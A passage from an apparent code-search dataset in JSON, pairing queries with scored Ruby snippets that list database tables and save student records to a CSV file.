"text": "def ignored_tables(name = nil)\n query(PostgreSQLExtensions::Utils.strip_heredoc(<<-SQL), name).map { |row| row[0] }\n SELECT tablename\n FROM pg_tables\n WHERE schemaname IN ('pg_catalog');\n SQL\n end",
"title": ""
},
{
"docid": "d3706ec2dd9c682061a09170a23788f3",
"score": "0.6277472",
"text": "def tables\n load_schema! if dirty?\n t = @tables\n if @temp_schema then\n t = @tables.merge( @temp_schema.tables )\n end\n return t\n end",
"title": ""
},
{
"docid": "64731afb2fa5f9bfa26bf53070da217f",
"score": "0.6272325",
"text": "def interesting_tables(list_of_tables = nil)\n Rails.logger.info \"+++\"+self.connection.tables.inspect\n if list_of_tables.nil?\n self.connection.tables.sort.reject do |tbl|\n %w(schema_migrations sessions public_exceptions).include?(tbl)\n end\n else\n self.connection.tables.sort.keep_if do |tbl|\n list_of_tables.include?(tbl)\n end\n end\n end",
"title": ""
},
{
"docid": "ac02fa123162160c6f2ff120672bfc04",
"score": "0.6271504",
"text": "def missing_tables\n database_table_names - @plan.table_names.map(&:to_s)\n end",
"title": ""
},
{
"docid": "890879dae6073051d0ddfd7edd86c4bd",
"score": "0.6225574",
"text": "def models_and_tables\n ignore_model_names = MigrationGenerator.ignore_models.map &it.to_s.underscore\n models = table_model_classes.select { |m| m < HoboFields::ModelExtensions && m.name.underscore.not_in?(ignore_model_names) }\n db_tables = connection.tables - MigrationGenerator.ignore_tables.*.to_s\n [models, db_tables]\n end",
"title": ""
},
{
"docid": "61cf028120cf5254ae3ad57cdbf7de4f",
"score": "0.6203635",
"text": "def tables(name = nil)\n select_values(\"SELECT tablename FROM pg_tables WHERE schemaname = ANY(current_schemas(false))\", 'SCHEMA')\n end",
"title": ""
},
{
"docid": "1557f33666e4b28b68b81c83e1834d7b",
"score": "0.6193577",
"text": "def table_names\n @table_names ||= (\n ActiveRecord::Base.connection.tables - %w(schema_migrations ar_internal_metadata tenant_events platform_events)\n )\n end",
"title": ""
},
{
"docid": "e03ba488530772cdad239142778372f3",
"score": "0.61774623",
"text": "def tables(name = nil)\n @logger.unknown(\"ODBCAdapter#tables>\") if @@trace\n @logger.unknown(\"args=[#{name}]\") if @@trace\n tblNames = []\n # TODO: ODBC::Connection#tables cannot filter on schema name\n # Modify Werner's Ruby ODBC driver to allow this\n currentUser = @dsInfo.info[ODBC::SQL_USER_NAME]\n stmt = @connection.tables\n resultSet = stmt.fetch_all || []\n resultSet.each do |row|\n schemaName = row[1]\n tblName = row[2]\n tblType = row[3]\n next if respond_to?(\"table_filter\") && table_filter(schemaName, tblName, tblType)\n if @@dbmsLookups.get_info(@dbmsName, @dbmsMajorVer, :supports_schema_names)\n tblNames << activeRecIdentCase(tblName) if schemaName.casecmp(currentUser) == 0\n else\n tblNames << activeRecIdentCase(tblName)\n end\n end\n stmt.drop\n tblNames\n rescue Exception => e\n @logger.unknown(\"exception=#{e}\") if @@trace\n raise ActiveRecordError, e.message\n end",
"title": ""
},
{
"docid": "7892314148c79006241274b9a3a986fe",
"score": "0.61749905",
"text": "def tables\n @tables ||= {}\n end",
"title": ""
},
{
"docid": "04f1db62f9bad66c75ba59cb99419ffb",
"score": "0.6170012",
"text": "def tables\n unless defined?(@tables) && @tables\n results = nil\n begin\n results = Cassie.instance.execute(TABLES_CQL, keyspace)\n rescue Cassandra::Errors::InvalidError\n results = Cassie.instance.execute(VERSION_2_TABLES_CQL, keyspace)\n end\n tables = results.collect { |row| row.values.first }\n @tables = tables\n end\n @tables\n end",
"title": ""
},
{
"docid": "68fa67b82b7e729b3b052bc8f81bcaf7",
"score": "0.6168304",
"text": "def tables\n @tables ||= Tables.new self\n end",
"title": ""
},
{
"docid": "0658ecb49328edddc121e08b191a90e6",
"score": "0.6153574",
"text": "def tables_effective\n db_service.tables_effective('public')\n end",
"title": ""
},
{
"docid": "2767efa89e8b9540efe39687f4863e12",
"score": "0.61424345",
"text": "def tables(name = nil)\n query(<<-SQL, 'SCHEMA').map { |row| row[0] }\n SELECT tablename\n FROM pg_tables\n WHERE schemaname = ANY (current_schemas(false))\n SQL\n end",
"title": ""
},
{
"docid": "4542ef20a0aa088861515d199208184c",
"score": "0.6130912",
"text": "def tables\n from(:MSysObjects).filter(:Type=>1, :Flags=>0).select_map(:Name).map{|x| x.to_sym}\n end",
"title": ""
},
{
"docid": "4542ef20a0aa088861515d199208184c",
"score": "0.6129791",
"text": "def tables\n from(:MSysObjects).filter(:Type=>1, :Flags=>0).select_map(:Name).map{|x| x.to_sym}\n end",
"title": ""
},
{
"docid": "59ce80ce8d0ef88602e1eb5ec00107e6",
"score": "0.6118066",
"text": "def tables\n TableCollection.new(:config => config)\n end",
"title": ""
},
{
"docid": "2b8e598a8dbd37d24d5c662160bb0b2f",
"score": "0.6108719",
"text": "def list_tables\n @@connection.tables.collect(&:name)\n end",
"title": ""
},
{
"docid": "ccbc1b522c406b4758acb9ff40236851",
"score": "0.6104035",
"text": "def show_tables\n # ::ActiveRecord::Base.establish_connection(\n # Rails.application.config_for(:database)\n # )\n ::ActiveRecord::Base.connection.tables.each do |t|\n t.singularize.classify.constantize rescue nil\n end\n end",
"title": ""
},
{
"docid": "2e22fc69cf36920a8e3a889cc6b01292",
"score": "0.6098095",
"text": "def tables()\n t = []\n mysql(\"use #{@dbName};show tables;\").split(\"\\n\").each do |line|\n t << $1 if line =~ /^\\S+\\:\\s+(\\S+)/\n end\n return t\n end",
"title": ""
},
{
"docid": "9f439e81b2c6899bdb0752810e763f18",
"score": "0.6090173",
"text": "def database_cleaner_tables\n database_cleaner_option(:tables, nil)\n end",
"title": ""
},
{
"docid": "efdf35dfbb37580572b0620925f2aabd",
"score": "0.6084922",
"text": "def tables_used\n initialize_query unless initialized?\n table_list.map(&:to_s).sort.map(&:to_sym)\n end",
"title": ""
},
{
"docid": "359f2a326bc99723516e2cd3054bdce5",
"score": "0.60815424",
"text": "def tables\n @tables ||= Settings[:audit][:tables].keys.map { |k| Table.new(self, k.to_s, Settings[:audit][:tables][k][:rules], Settings[:audit][:tables][k][:versioning_enabled]) }\n end",
"title": ""
},
{
"docid": "a0ab9c8c874633a61e05774d6e5c175d",
"score": "0.6077825",
"text": "def model_table_names\n models.map(&:table_name).uniq\n end",
"title": ""
},
{
"docid": "db6000d888e35e069e7cc664ee283dae",
"score": "0.60729",
"text": "def tables(*tables)\r\n\t\r\n\t\t# Connect to the database\r\n\t\tdb_connection = connect\r\n\t\r\n\t\t# If additional arguments are specified\r\n\t\tunless tables[0] == nil || tables[0].empty?\r\n\t\t\r\n\t\t\t# List the table and the columns for each table specified\r\n\t\t\tbegin\r\n\t\t\t\ttables[0].each do |table|\r\n\t\t\t\t\tquery_data = db_connection.select_all(\"SELECT * FROM #{table} fetch first 1 rows only\")\r\n\t\t\t\t\tputs \"#{table} #{query_data[0].column_names.join(', ')}\\n\\n\"\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t# Output an error if the table / column_names couldn't be found\r\n\t\t\trescue DBI::DatabaseError => e\r\n\t\t\t\t puts \"An error occurred\"\r\n\t\t\t\t puts \"Error message: #{e.errstr}\" \r\n raise 1 # Alert the operating system that there was an error\r\n\t\t\tend\r\n\t\t\t\r\n\t\t# Output a list of tables if no tables are specified\r\n\t\telse\r\n\t\t\tputs db_connection.tables\r\n\t\tend\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "e008ba369dd13a928df529c299e3a3dd",
"score": "0.6049845",
"text": "def ransack_tables(name = nil) #:nodoc:\n sql = \"SELECT table_name FROM SYS.SYSTABLE WHERE creator NOT IN (0,5)\"\n exec_query(sql, name).map { |row| row[\"table_name\"] }\n end",
"title": ""
},
{
"docid": "cd0ad6ab4ea7b4a46b5ee5042d030000",
"score": "0.6045602",
"text": "def tables\n doc = @session.get(self.tables_feed_url)\n return doc.search(\"entry\").map(){ |e| Table.new(@session, e) }.freeze()\n end",
"title": ""
},
{
"docid": "9471b612f1158e844e53d82610cfa323",
"score": "0.6045281",
"text": "def generate_additional_tables\n # no additional tables\n end",
"title": ""
},
{
"docid": "95ec8c5d8fd7a9b3e7d33bd48aecb133",
"score": "0.6038877",
"text": "def get_ar_models\n ActiveRecord::Base.descendants.reject { |ar_model| REJECT_TABLES.include?(ar_model.name)}\n end",
"title": ""
},
{
"docid": "12fa41ea9044c349033259d8c0e8d8ef",
"score": "0.6029763",
"text": "def db_table_names\n Mimi::DB.connection.tables\n end",
"title": ""
},
{
"docid": "798ec75a8b5ac5340345de00f14c529f",
"score": "0.60187906",
"text": "def show_tables \n data = self.execute \"SHOW TABLES\"\n \n data.inject([]) do |x, row|\n x << GData::Client::FusionTables::Table.new(self, row) \n x\n end \n end",
"title": ""
},
{
"docid": "e376e24d9fd1509d733c7c7f28e5a5f3",
"score": "0.60178834",
"text": "def tables\n raise Error, 'SQL string has not yet been set' if @sql.nil?\n\n @parsed_sql.tables\n end",
"title": ""
},
{
"docid": "9f5bcbd8fdee54c99437307d1b1c0958",
"score": "0.60154784",
"text": "def get_db_table_list\n Rails.application.eager_load!\n db_table_list = ActiveRecord::Base.descendants.map(&:name)\n removables = ['ApplicationRecord', 'UniAct', 'UniCont', 'UniWeb', 'Delayed::Backend::ActiveRecord::Job']\n move_to_back = ['Cont']\n removables += move_to_back\n removables.each { |table| db_table_list.delete(table) }\n db_table_list += move_to_back\n return db_table_list\n end",
"title": ""
},
{
"docid": "2fd4cb4e0b62d482d3cc2dbdde0bb806",
"score": "0.6012864",
"text": "def tables(name = nil)\n select_all(<<-SQL, name).map { |row| row['tablename'] }\n SELECT tablename\n FROM pg_tables\n WHERE schemaname IN (#{schemas})\n SQL\n end",
"title": ""
},
{
"docid": "250d5b63c7cccdeac313ee1fac33da86",
"score": "0.601013",
"text": "def tables\n @tables.keys.map(&:to_s)\n end",
"title": ""
},
{
"docid": "250d5b63c7cccdeac313ee1fac33da86",
"score": "0.601013",
"text": "def tables\n @tables.keys.map(&:to_s)\n end",
"title": ""
},
{
"docid": "bec10510bc232004dad3c12e8ae80c9b",
"score": "0.60040885",
"text": "def tables_from(db=current_database)\n result = execute(\"SHOW TABLES FROM #{identifier(db)}\")\n normalize_result(result)\n end",
"title": ""
},
{
"docid": "93916bded82be26c1ef880195c9bcf1c",
"score": "0.5999674",
"text": "def tables_to_skip\n return \"\" unless skip_tables\n [*skip_tables].map {|table| \" --ignore-table='#{database}.#{table}' \"}\n end",
"title": ""
}
] |
8bdcc9c3decedcea35b1b8d11546396a | A description of this time zone in relation to the country, e.g. "Eastern Time". This is usually `nil` for countries that have a single time zone. | [
{
"docid": "3cf00cdf059ad5e7c61304c18faab969",
"score": "0.0",
"text": "def description; end",
"title": ""
}
] | [
{
"docid": "80afb64c5af5e373beeac284e2949546",
"score": "0.73000073",
"text": "def time_zone\n \"Mountain Time (US & Canada)\"\n #{}\"Eastern Time (US & Canada)\"\n end",
"title": ""
},
{
"docid": "f072ba92f869d1c8349c37d2031103c4",
"score": "0.72574353",
"text": "def time_zone_name\n @time_zone_name\n end",
"title": ""
},
{
"docid": "93f8917b41b911de866e38757525c4c8",
"score": "0.70476735",
"text": "def zone\n strftime('%Z')\n end",
"title": ""
},
{
"docid": "51236eeb0ee176e128997630502900df",
"score": "0.6985607",
"text": "def zone\n if @_utc then\n return \"UTC\"\n else\n return self.to_a[IDX_ZONE]\n end\n end",
"title": ""
},
{
"docid": "eb70601da042911d67b154069327952d",
"score": "0.69290495",
"text": "def zone\n period.abbreviation\n end",
"title": ""
},
{
"docid": "1ee9125bc4daf1036f1419d7cd817fe5",
"score": "0.6847941",
"text": "def timezone_information(timezone = current_account.timezone)\n name = ActiveSupport::TimeZone.new(timezone).to_s\n name_or_link = if can?(:update, current_account) && current_account.provider?\n link_to(name, edit_provider_admin_account_path)\n else\n name\n end\n \"Using time zone \".html_safe + name_or_link\n end",
"title": ""
},
{
"docid": "b479ad14a93e3ad26a000c92904c380c",
"score": "0.6818415",
"text": "def timezone\n data[:timezone]\n end",
"title": ""
},
{
"docid": "35544af6bd7b5daa57eccd81d6a3558e",
"score": "0.6706965",
"text": "def formatted_zone\n \"#{@utc_direction}#{padded(@utc_hours)}:#{padded(@utc_minutes)}\"\n end",
"title": ""
},
{
"docid": "079d8a70cde1e3a9696c7b20c48edd9b",
"score": "0.67024654",
"text": "def zone_name\n compliance_data[:name]\n end",
"title": ""
},
{
"docid": "6d1ec437024d1b6cd2bde92d5c16fa9d",
"score": "0.6680918",
"text": "def identifier\n time_zone.identifier\n end",
"title": ""
},
{
"docid": "c5f910f67a6ebfb57729365d9c31ba2a",
"score": "0.66737264",
"text": "def inspect\n \"#{time.strftime('%a, %d %b %Y %H:%M:%S.%9N')} #{zone} #{formatted_offset}\"\n end",
"title": ""
},
{
"docid": "42493ed57af8afb30b5edfc2eb477169",
"score": "0.6650916",
"text": "def info()\n super(ZONE_METHODS[:info], 'ZONE')\n end",
"title": ""
},
{
"docid": "0bedf79b5dcc04756a38096f20b3b055",
"score": "0.6636603",
"text": "def time\n \tself[:time].try(:in_time_zone, \"Eastern Time (US & Canada)\")\n end",
"title": ""
},
{
"docid": "34b3ca5501d0bed4115d6df2509697b9",
"score": "0.66103107",
"text": "def get\n @timezone\n end",
"title": ""
},
{
"docid": "34b3ca5501d0bed4115d6df2509697b9",
"score": "0.66103107",
"text": "def get\n @timezone\n end",
"title": ""
},
{
"docid": "cc858b131fea78ed6806e34311f2eee0",
"score": "0.65683275",
"text": "def inspect\n \"#<#{self.class}: #{@zoneinfo_dir}>\"\n end",
"title": ""
},
{
"docid": "ace179b06eeb26a3d7c01589fb41b36c",
"score": "0.65561277",
"text": "def zone_info\n @info.zones\n end",
"title": ""
},
{
"docid": "78d964048787e5bb2cb228515ca257d2",
"score": "0.6546325",
"text": "def description_or_friendly_identifier\n description || timezone.friendly_identifier(true)\n end",
"title": ""
},
{
"docid": "d1b5353dd025cfcaa171a99bde650a47",
"score": "0.6540419",
"text": "def zone_name\n l = location\n l ? l.zone_name : state[\"zone\"]\n end",
"title": ""
},
{
"docid": "a29938f8bb5316bd16c22e1e8329b62d",
"score": "0.6511096",
"text": "def time_zone\n addresses.primary.blank? || addresses.primary.time_zone.blank? ? nil : addresses.primary.time_zone\n end",
"title": ""
},
{
"docid": "df844eca55f34b6e94f3d040cdb1590f",
"score": "0.6510001",
"text": "def get_zone\n return @resource[:name]\n end",
"title": ""
},
{
"docid": "27b57972fb3c565e16deb63d917bc425",
"score": "0.647818",
"text": "def time_zone; end",
"title": ""
},
{
"docid": "27b57972fb3c565e16deb63d917bc425",
"score": "0.647818",
"text": "def time_zone; end",
"title": ""
},
{
"docid": "27b57972fb3c565e16deb63d917bc425",
"score": "0.647818",
"text": "def time_zone; end",
"title": ""
},
{
"docid": "27b57972fb3c565e16deb63d917bc425",
"score": "0.647818",
"text": "def time_zone; end",
"title": ""
},
{
"docid": "27b57972fb3c565e16deb63d917bc425",
"score": "0.647818",
"text": "def time_zone; end",
"title": ""
},
{
"docid": "2f8f43b91b3f0e38b62a452872ef2253",
"score": "0.64413095",
"text": "def tz\n md = self.to_s.match(GRAMMAR)\n zone = md[2].to_s\n zone = \"Z\" if zone == \"+00:00\"\n RDF::Literal(zone)\n end",
"title": ""
},
{
"docid": "9b3ac65823ffebaaa16350356932f0bb",
"score": "0.64166045",
"text": "def zone_identifier; end",
"title": ""
},
{
"docid": "9b3ac65823ffebaaa16350356932f0bb",
"score": "0.64166045",
"text": "def zone_identifier; end",
"title": ""
},
{
"docid": "b426cb96214b3fc4e9a47f353b8418f1",
"score": "0.6407051",
"text": "def availability_zone\n data[:availability_zone]\n end",
"title": ""
},
{
"docid": "1eefb13ad662ec82436321d2e51203a0",
"score": "0.6374234",
"text": "def availability_zone\n data.availability_zone\n end",
"title": ""
},
{
"docid": "d5abd56ee0e92b8d8dd5c862623553ee",
"score": "0.637145",
"text": "def timezone\n @attributes.fetch('timezone', nil)\n end",
"title": ""
},
{
"docid": "7594a8dfb4f7635e420a2f4879106207",
"score": "0.6353469",
"text": "def time_zone\n @attributes[:time_zone]\n end",
"title": ""
},
{
"docid": "7594a8dfb4f7635e420a2f4879106207",
"score": "0.6353469",
"text": "def time_zone\n @attributes[:time_zone]\n end",
"title": ""
},
{
"docid": "fe73dc607977487ce7f674407800de27",
"score": "0.6343948",
"text": "def time_zone\n return @time_zone\n end",
"title": ""
},
{
"docid": "546964446b794bbd13457c58c9329ca7",
"score": "0.6324427",
"text": "def timezone(reference, identifier, latitude_numerator, latitude_denominator, longitude_numerator, longitude_denominator, description = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "546964446b794bbd13457c58c9329ca7",
"score": "0.6324427",
"text": "def timezone(reference, identifier, latitude_numerator, latitude_denominator, longitude_numerator, longitude_denominator, description = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "98ba812271856ee34aa1ba51ce643b18",
"score": "0.63003004",
"text": "def zone\n Thread.current[:time_zone] || zone_default\n end",
"title": ""
},
{
"docid": "16e21523e7e96c032f900ea0ba437ef0",
"score": "0.629952",
"text": "def zone\n @zone\n end",
"title": ""
},
{
"docid": "fc554d41033caead1bf555bc380a91b7",
"score": "0.6290354",
"text": "def zone_names; end",
"title": ""
},
{
"docid": "fc554d41033caead1bf555bc380a91b7",
"score": "0.6290354",
"text": "def zone_names; end",
"title": ""
},
{
"docid": "fb08a530d199377915480fef5ee1223f",
"score": "0.625044",
"text": "def get_verbose_name\n country_desc = (self.country_code.nil? || (self.country_code == \"I\")) ? \"\" :\n \" #{self.country} (#{self.country_code})\"\n get_full_name + country_desc\n end",
"title": ""
},
{
"docid": "43a867bfe5289b900a6c76bbdb46c727",
"score": "0.6247532",
"text": "def time_zone\n @time_zone\n end",
"title": ""
},
{
"docid": "61ae951a795a44a0937ad773b96af854",
"score": "0.62446564",
"text": "def contract\n encode_tz(:KT1, 20)\n end",
"title": ""
},
{
"docid": "215b70308b3025050c44f084900fff58",
"score": "0.6223749",
"text": "def tz\n zone = has_timezone? ? object.zone : \"\"\n zone = \"Z\" if zone == \"+00:00\"\n RDF::Literal(zone)\n end",
"title": ""
},
{
"docid": "215b70308b3025050c44f084900fff58",
"score": "0.6223749",
"text": "def tz\n zone = has_timezone? ? object.zone : \"\"\n zone = \"Z\" if zone == \"+00:00\"\n RDF::Literal(zone)\n end",
"title": ""
},
{
"docid": "e216af366bc172f79203d11fac3675e9",
"score": "0.6214867",
"text": "def zone_number\n end",
"title": ""
},
{
"docid": "2e280825d1cb3827f06eca259bb498b6",
"score": "0.6199784",
"text": "def timezone\n if tz == 'Z'\n RDF::Literal(\"PT0S\", datatype: RDF::URI(\"http://www.w3.org/2001/XMLSchema#dayTimeDuration\"))\n elsif md = tz.to_s.match(/^([+-])?(\\d+):(\\d+)?$/)\n plus_minus, hour, min = md[1,3]\n plus_minus = nil unless plus_minus == \"-\"\n hour = hour.to_i\n min = min.to_i\n res = \"#{plus_minus}PT#{hour}H#{\"#{min}M\" if min > 0}\"\n RDF::Literal(res, datatype: RDF::URI(\"http://www.w3.org/2001/XMLSchema#dayTimeDuration\"))\n end\n end",
"title": ""
},
{
"docid": "00a268251f6d7f4f181e9ca1a7d14ef5",
"score": "0.6199272",
"text": "def canonical_zone\n real_timezone.canonical_zone\n end",
"title": ""
},
{
"docid": "370c14bc4bfad51fc04625967ceb7836",
"score": "0.6160101",
"text": "def inspect\n if @_st_is_gmt\n strftime(\"%a %b %d %H:%M:%S UTC %Y\")\n else\n strftime(\"%a %b %d %H:%M:%S %z %Y\")\n end\n end",
"title": ""
},
{
"docid": "076a25163425ec709f5f88ba26db7f70",
"score": "0.61442536",
"text": "def timezone\n Timezone.get_proxy(@identifier)\n end",
"title": ""
},
{
"docid": "d6d31519b99f036b40f78f262c6b02a2",
"score": "0.60817933",
"text": "def details\n return @description + \"; is set to: \" + \"#{@duration}\" + \"hour - at a cost of: \" + \"#{@cost}\"\n end",
"title": ""
},
{
"docid": "4c92ce2f7c25480fbe82f50f8a9ad448",
"score": "0.6081557",
"text": "def timezone\n @history.objects.find { |o| o.name == \"tz\" }.val\n end",
"title": ""
},
{
"docid": "41f8e7b7ad85b63037f49413c0a6b098",
"score": "0.60629535",
"text": "def zone_name(zone_id)\n @zone_name.fetch(zone_id, :undefined)\n end",
"title": ""
},
{
"docid": "30c311aea86ea2fe494c01e4a13c043d",
"score": "0.60489076",
"text": "def account\n encode_tz(:tz1, 20)\n end",
"title": ""
},
{
"docid": "018718f31d6fe89fbb4b4925f4a71790",
"score": "0.60403013",
"text": "def timezone_enum\n TZInfo::Country.get('US').zones.map{|tz|tz.name}\n end",
"title": ""
},
{
"docid": "b61a098946d2ea7535db9912a75f2f12",
"score": "0.60392",
"text": "def timezone\n return call('Bugzilla.tomezone')\n end",
"title": ""
},
{
"docid": "7c972d2e4eae8e07b7cbebc583cd6e56",
"score": "0.6035677",
"text": "def time_zone=(_arg0); end",
"title": ""
},
{
"docid": "7c972d2e4eae8e07b7cbebc583cd6e56",
"score": "0.6035677",
"text": "def time_zone=(_arg0); end",
"title": ""
},
{
"docid": "ebca21f17a32ca172fd2ee5725d6647e",
"score": "0.60273457",
"text": "def current_zone\n return @zone\n end",
"title": ""
},
{
"docid": "49bff7679f590703e88a5bb89d407e0b",
"score": "0.6017776",
"text": "def canonical_zone\n @linked_timezone.canonical_zone\n end",
"title": ""
},
{
"docid": "c0f5baab9378c2256bb37f67617470b6",
"score": "0.60150695",
"text": "def country_name\n cc = carmen_country\n\n cc ? \"#{cc.name}\" : ''\n end",
"title": ""
},
{
"docid": "8333bc417340a3b62b03a31633b0654d",
"score": "0.5997494",
"text": "def to_s\n \"Zoneinfo DataSource: #{@zoneinfo_dir}\"\n end",
"title": ""
},
{
"docid": "d66bc90ed68944f6ef62a2a4aa1b1a24",
"score": "0.5995703",
"text": "def details\n return @description + \": \" +\n @duration.to_s + \" hour for \" +\n @cost.to_s + \" euros.\"\n end",
"title": ""
},
{
"docid": "fca0c3140712869f7e4738d70f37e6e1",
"score": "0.5991168",
"text": "def time_zone\n @session.chosen_office.time_zone if @session.chosen_office.present?\n end",
"title": ""
},
{
"docid": "eeb7ba730231169007e77eb0257ce27b",
"score": "0.5978947",
"text": "def to_s\n return \"#{location} #{purpose} #{hour} #{min} #{day}\"\n end",
"title": ""
},
{
"docid": "3b4a8985839addea086c11764347725a",
"score": "0.5973163",
"text": "def inspect\n \"#<#{self.class}: #@utc_offset,#@std_offset,#@abbreviation>\"\n end",
"title": ""
},
{
"docid": "7f1f2933a944c8d55936d635c718a44a",
"score": "0.5964743",
"text": "def availability_zone\n @dbi.availability_zone\n end",
"title": ""
},
{
"docid": "7f1f2933a944c8d55936d635c718a44a",
"score": "0.5964743",
"text": "def availability_zone\n @dbi.availability_zone\n end",
"title": ""
},
{
"docid": "649f3c2a7e5e65f688c4b376e160ba05",
"score": "0.5949625",
"text": "def local_timezone\n tzname = Time.new.zone\n q, r = Time.new.utc_offset.divmod(3600)\n sign = (q < 0) ? '-' : '+'\n tzoffset = sign + \"%02d\" % q.abs.to_s + ':' + r.to_f.div(60).to_s\n \"#{tzname} (UTC#{tzoffset})\"\n end",
"title": ""
},
{
"docid": "54615a0758e327220ccddc4c7cb65939",
"score": "0.5941894",
"text": "def request_time_zone\n facility_id = @request.dig(:facility, :parent_site_code)\n facility = Mobile::VA_FACILITIES_BY_ID[\"dfn-#{facility_id}\"]\n facility ? facility[:time_zone] : nil\n end",
"title": ""
},
{
"docid": "b683fa47b82f5c1650594631bf342895",
"score": "0.59349453",
"text": "def country_name\n country = ISO3166::Country[country_code]\n # country.translations[I18n.locale.to_s] || country.name\n # country.name\n end",
"title": ""
},
{
"docid": "f2c95bfb0588860668109a7e51156616",
"score": "0.5922587",
"text": "def time_zone\n ActiveSupport::TimeZone[\"Wellington\"]\n end",
"title": ""
},
{
"docid": "4103ba184e1bfe8727dd087c084edb85",
"score": "0.59215033",
"text": "def current_zone_name\n zone = @master_zone\n return GameData::Zone.get(zone).map_name if zone\n UNKNOWN_ZONE\n end",
"title": ""
},
{
"docid": "c9ad7ef49a56a26f13d86aef3c4fc4fe",
"score": "0.59085196",
"text": "def zone_info(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone?#{parameters}\")\n end",
"title": ""
},
{
"docid": "195a66771cd5615cc610ba7185eb3a17",
"score": "0.590631",
"text": "def time_zone_offset\n @session.chosen_office.time_zone_offset\n end",
"title": ""
},
{
"docid": "5fa812b9a99dcc61cdf1dd3bd364ed71",
"score": "0.5905078",
"text": "def represented_country; end",
"title": ""
},
{
"docid": "0340f17ca987bdda15219def7de80847",
"score": "0.59036684",
"text": "def timezone\n TimeZoneHelper.info_hash(tzinfo_tz, rails_tz)\n end",
"title": ""
},
{
"docid": "9ff6d64ccda27180051a6c60356b07e0",
"score": "0.590011",
"text": "def identifier\n @real_timezone ? @real_timezone.identifier : @identifier\n end",
"title": ""
},
{
"docid": "037d409207e4835cd5c80d9110587ca5",
"score": "0.5894023",
"text": "def timezone\r\n\t\t@usr_timezone\r\n\tend",
"title": ""
},
{
"docid": "e83458a8aea4679f30e192ec79cfd174",
"score": "0.58880746",
"text": "def timezone(identifier); end",
"title": ""
},
{
"docid": "e83458a8aea4679f30e192ec79cfd174",
"score": "0.58880746",
"text": "def timezone(identifier); end",
"title": ""
},
{
"docid": "e83458a8aea4679f30e192ec79cfd174",
"score": "0.58880746",
"text": "def timezone(identifier); end",
"title": ""
},
{
"docid": "60f3ef68ca7daa77fac3a5887fe64eb3",
"score": "0.5872477",
"text": "def country_name\n ISO3166::Country[country_code].name if country_code.present?\n end",
"title": ""
},
{
"docid": "226cdd0268748ed99942d6487b89cf6e",
"score": "0.5846624",
"text": "def zone; end",
"title": ""
},
{
"docid": "20cc90246123e1d006eb554c96876d49",
"score": "0.58463633",
"text": "def get country_code, city, region=\"\", latitude=nil, longitude=nil\n begin\n m = self.new country_code, city, region, latitude, longitude\n m.timezone\n rescue Exception \n nil\n end\n end",
"title": ""
},
{
"docid": "9d9f93dec8d0ba63658ccfa66c46f8e3",
"score": "0.5836315",
"text": "def v_time_zone_inutilisee\n @time_zone ||= (self.time_zone.blank? ? nil : ActiveSupport::TimeZone[self.time_zone])\n end",
"title": ""
},
{
"docid": "306dd0863a804e70df3d0f0f83e2435e",
"score": "0.5820081",
"text": "def timezone\n @@tz || @@tz = TZInfo::Timezone.get(Time.now.zone)\n end",
"title": ""
},
{
"docid": "3364bffabfd8b18eb3ebb784bd8d6c52",
"score": "0.5814106",
"text": "def country_name\n countryfull = ISO3166::Country[country]\n countryfull.translations[I18n.locale.to_s] || countryfull.name\n end",
"title": ""
},
{
"docid": "bae15501c7fae798cb1392585a53ff91",
"score": "0.57995623",
"text": "def day_str(timezone = patient.timezone)\n parsed_time(timezone).strftime(\"%A\")\n end",
"title": ""
},
{
"docid": "2d6e683bcb0a270a8a51b60bd87f5580",
"score": "0.57898027",
"text": "def availability_zone\n @subnet.availability_zone\n end",
"title": ""
},
{
"docid": "c0635932b3efdfe16b1655ff06dec39b",
"score": "0.57844895",
"text": "def to_s\n \"(GMT#{formatted_offset}) #{name}\"\n end",
"title": ""
},
{
"docid": "26679774cf3d4ebcaa50b34dbc885555",
"score": "0.57799166",
"text": "def provision_time_zone\n @attributes[:provision_time_zone]\n end",
"title": ""
},
{
"docid": "6c195a1277a4607b0bed183524aa9597",
"score": "0.57796496",
"text": "def user_timezone\n return @user_timezone\n end",
"title": ""
},
{
"docid": "f470608c86d0c9f2113782f232a5a2a2",
"score": "0.57765204",
"text": "def current_user_timezone\n app_get_geo_data_by_ip.try(:timezone) || \"America/La_Paz\"\n end",
"title": ""
},
{
"docid": "497aa816d56c14e939a7bc58437fdbda",
"score": "0.5769771",
"text": "def country\n 'United Kingdom'\n end",
"title": ""
},
{
"docid": "05bb2da2eceab9cca616ee4d9980db58",
"score": "0.57673067",
"text": "def country\n self[:C]\n end",
"title": ""
},
{
"docid": "04f5a84304179cdd0e62c64aec5221fa",
"score": "0.576554",
"text": "def timezone!\n if @timezone.nil?\n\n tz = get_country! \n # if country have only one zone then return that zone\n if tz.zones.count == 1\n @timezone = TZInfo::Timezone.get(tz.zones[0].name)\n else\n location_fetch! if @latitude.nil? or @longitude.nil?\n # some services returns timezone when fetch location \n tz_name! if @timezone.nil?\n end\n end\n return @timezone\n end",
"title": ""
},
{
"docid": "3922acb0b5baf93ec025ecda21a8f84a",
"score": "0.57617515",
"text": "def abbr\n province.try(:abbr) || country.abbr\n end",
"title": ""
},
{
"docid": "6ab2eda12d7f57ef409613c6b03d301b",
"score": "0.57580954",
"text": "def country_name\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end",
"title": ""
},
{
"docid": "6ab2eda12d7f57ef409613c6b03d301b",
"score": "0.57580954",
"text": "def country_name\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end",
"title": ""
}
] |
7aee0a6aecb2c94a474b5aef529ea70d | This is a method to save studetns into a csv | [
{
"docid": "b05167ab9cc035f15be6556622e23f26",
"score": "0.7049358",
"text": "def save_students\n\t#open the file for writing\n\tfile = File.open(filename = \"students.csv\" , \"w\")\n\t#iterate over the array of students\n\t@students.each do |student|\n\t\tstudent_data = [student[:name], student[:cohort], student[:nationality]]\n\t\tcsv_line = student_data.join(\",\")\n\t\tfile.puts csv_line\n\tend\n\tfile.close\n\tputs \"#{filename} is now saved\"\nend",
"title": ""
}
] | [
{
"docid": "d1a0239f8452829eb2d566f93dd32d28",
"score": "0.73436046",
